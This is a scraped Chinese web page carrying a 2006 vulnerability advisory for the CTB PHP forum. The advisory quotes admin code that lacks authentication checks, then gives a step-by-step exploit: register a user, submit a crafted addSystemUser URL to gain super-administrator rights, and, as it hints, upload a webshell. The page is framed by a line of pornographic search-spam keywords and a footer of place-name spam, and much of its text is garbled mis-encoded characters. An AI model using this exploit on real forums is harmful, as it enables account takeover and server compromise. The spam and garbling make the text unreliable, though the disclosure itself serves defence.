最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

漂亮但不安全的CTB

 更新時(shí)間:2006年10月09日 00:00:00   作者:  

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(現(xiàn)在1.3Alpha為最高版本) 

描述: 
^^^^^^ 
CTB是一款由實(shí)易數(shù)碼<11cn.org>;開(kāi)發(fā)和維護(hù)的源代碼開(kāi)放的PHP論壇。由于其后臺(tái)管理文件驗(yàn)證存在缺陷,可能導(dǎo)致非法用戶直接添加論壇超級(jí)管理員,進(jìn)而威脅論壇或服務(wù)器安全。 

具體: 
^^^^ 
CTB書寫非常規(guī)范,代碼井然有序,賞心悅目,的確是優(yōu)美的程序;特別是其功能模塊,著實(shí)讓小弟學(xué)習(xí)了一把。但安全方面卻令人堪憂: 

試看如下代碼: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //獲取get變量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化類變量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

這里沒(méi)有任何驗(yàn)證,我們看看添加管理員的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系統(tǒng)管理模塊子類 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //輸入數(shù)據(jù)簡(jiǎn)單格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //執(zhí)行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然沒(méi)有驗(yàn)證,一路順利??! 

利用方法: 
^^^^^^^ 
先注冊(cè)一個(gè)用戶: 

登陸ID:  cat 
用戶名 :   dog 
密碼:      ilikecat 
重復(fù)密碼:  ilikecat 
信箱:      cat@dog.com 

接著提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你現(xiàn)在已經(jīng)是超級(jí)管理員了,不相信?提交如下URL后臺(tái)登陸: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名稱:  cat 
管理密碼:  ilikecat 

咦...還真成功了! 

你現(xiàn)在是不是想更改后臺(tái)上傳文件類型,然后upload webshell?哼,被我猜到了吧... 

后記:另外發(fā)現(xiàn)CTB代碼注釋有些扎眼的錯(cuò)別字,大煞風(fēng)景,希望可以一起修正。

相關(guān)文章

  • PHP的PDO預(yù)處理語(yǔ)句與存儲(chǔ)過(guò)程

    PHP的PDO預(yù)處理語(yǔ)句與存儲(chǔ)過(guò)程

    今天小編就為大家分享一篇關(guān)于PHP的PDO預(yù)處理語(yǔ)句與存儲(chǔ)過(guò)程,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧
    2019-01-01
  • PHP – EasyUI DataGrid 資料存的方式介紹

    PHP – EasyUI DataGrid 資料存的方式介紹

    繼上篇文章 PHP – EasyUI DataGrid 資料取的方式,本篇一條小龍繼續(xù)講述,如何操作 DataGrid,把資料存入資料庫(kù),并實(shí)現(xiàn) MVC 架構(gòu),將資料層分離、獨(dú)立運(yùn)作
    2012-11-11
  • 用PHP來(lái)寫記數(shù)器(詳細(xì)介紹)

    用PHP來(lái)寫記數(shù)器(詳細(xì)介紹)

    利用一個(gè)文本文件實(shí)現(xiàn)多個(gè)頁(yè)的計(jì)數(shù)減少服務(wù)器的I/O占用率在需要紀(jì)錄的文件里,只需加入很少的幾行代碼
    2006-10-10
  • 那些年一起學(xué)習(xí)的PHP(一)

    那些年一起學(xué)習(xí)的PHP(一)

    PHP,是英文超級(jí)文本預(yù)處理語(yǔ)言Hypertext Preprocessor的縮寫。PHP 是一種 HTML 內(nèi)嵌式的語(yǔ)言,是一種在服務(wù)器端執(zhí)行的嵌入HTML文檔的腳本語(yǔ)言,語(yǔ)言的風(fēng)格有類似于C語(yǔ)言,被廣泛的運(yùn)用
    2012-03-03
  • php的大小寫敏感問(wèn)題整理

    php的大小寫敏感問(wèn)題整理

    今天在開(kāi)發(fā)php的過(guò)程中,因?yàn)槊笮懙膯?wèn)題導(dǎo)致代碼錯(cuò)誤,所以從網(wǎng)上整理了php的大小寫敏感的一些資料,需要的朋友可以參考下。
    2011-12-12
  • PHP學(xué)習(xí)之PHP變量

    PHP學(xué)習(xí)之PHP變量

    PHP學(xué)習(xí)之PHP變量...
    2006-10-10
  • php學(xué)習(xí) 字符串課件

    php學(xué)習(xí) 字符串課件

    字符串的定義 string(字符串)在PHP中字符跟字節(jié)一樣,有256種字符的可能性
    2008-06-06
  • php+oracle 分頁(yè)類

    php+oracle 分頁(yè)類

    下面是分頁(yè)示例程序,看起來(lái)可能比較繁瑣,但其實(shí)你只要用一下就會(huì)發(fā)現(xiàn),一切原來(lái)如此簡(jiǎn)單
    2006-10-10
  • PHP mysql_result()函數(shù)使用方法

    PHP mysql_result()函數(shù)使用方法

    這篇文章主要介紹了PHP mysql_result()函數(shù)使用方法,需要的朋友可以參考下
    2017-11-11
  • 聊天室php&mysql(三)

    聊天室php&mysql(三)

    這篇文章主要給大家介紹了關(guān)于聊天室php&mysql的相關(guān)資料,需要的朋友可以參考下
    2006-10-10

最新評(píng)論

邮箱| 商洛市| 蒲城县| 个旧市| 安泽县| 略阳县| 潜江市| 韩城市| 滨州市| 平塘县| 宣武区| 寿光市| 神木县| 鸡东县| 改则县| 永和县| 东平县| 邓州市| 赤壁市| 青川县| 扶风县| 梁平县| 北安市| 浑源县| 乌鲁木齐县| 宁波市| 米易县| 石门县| 巴林左旗| 明星| 安多县| 利川市| 罗甸县| 乌拉特前旗| 长泰县| 循化| 清水县| 百色市| 孝感市| 平远县| 拉萨市|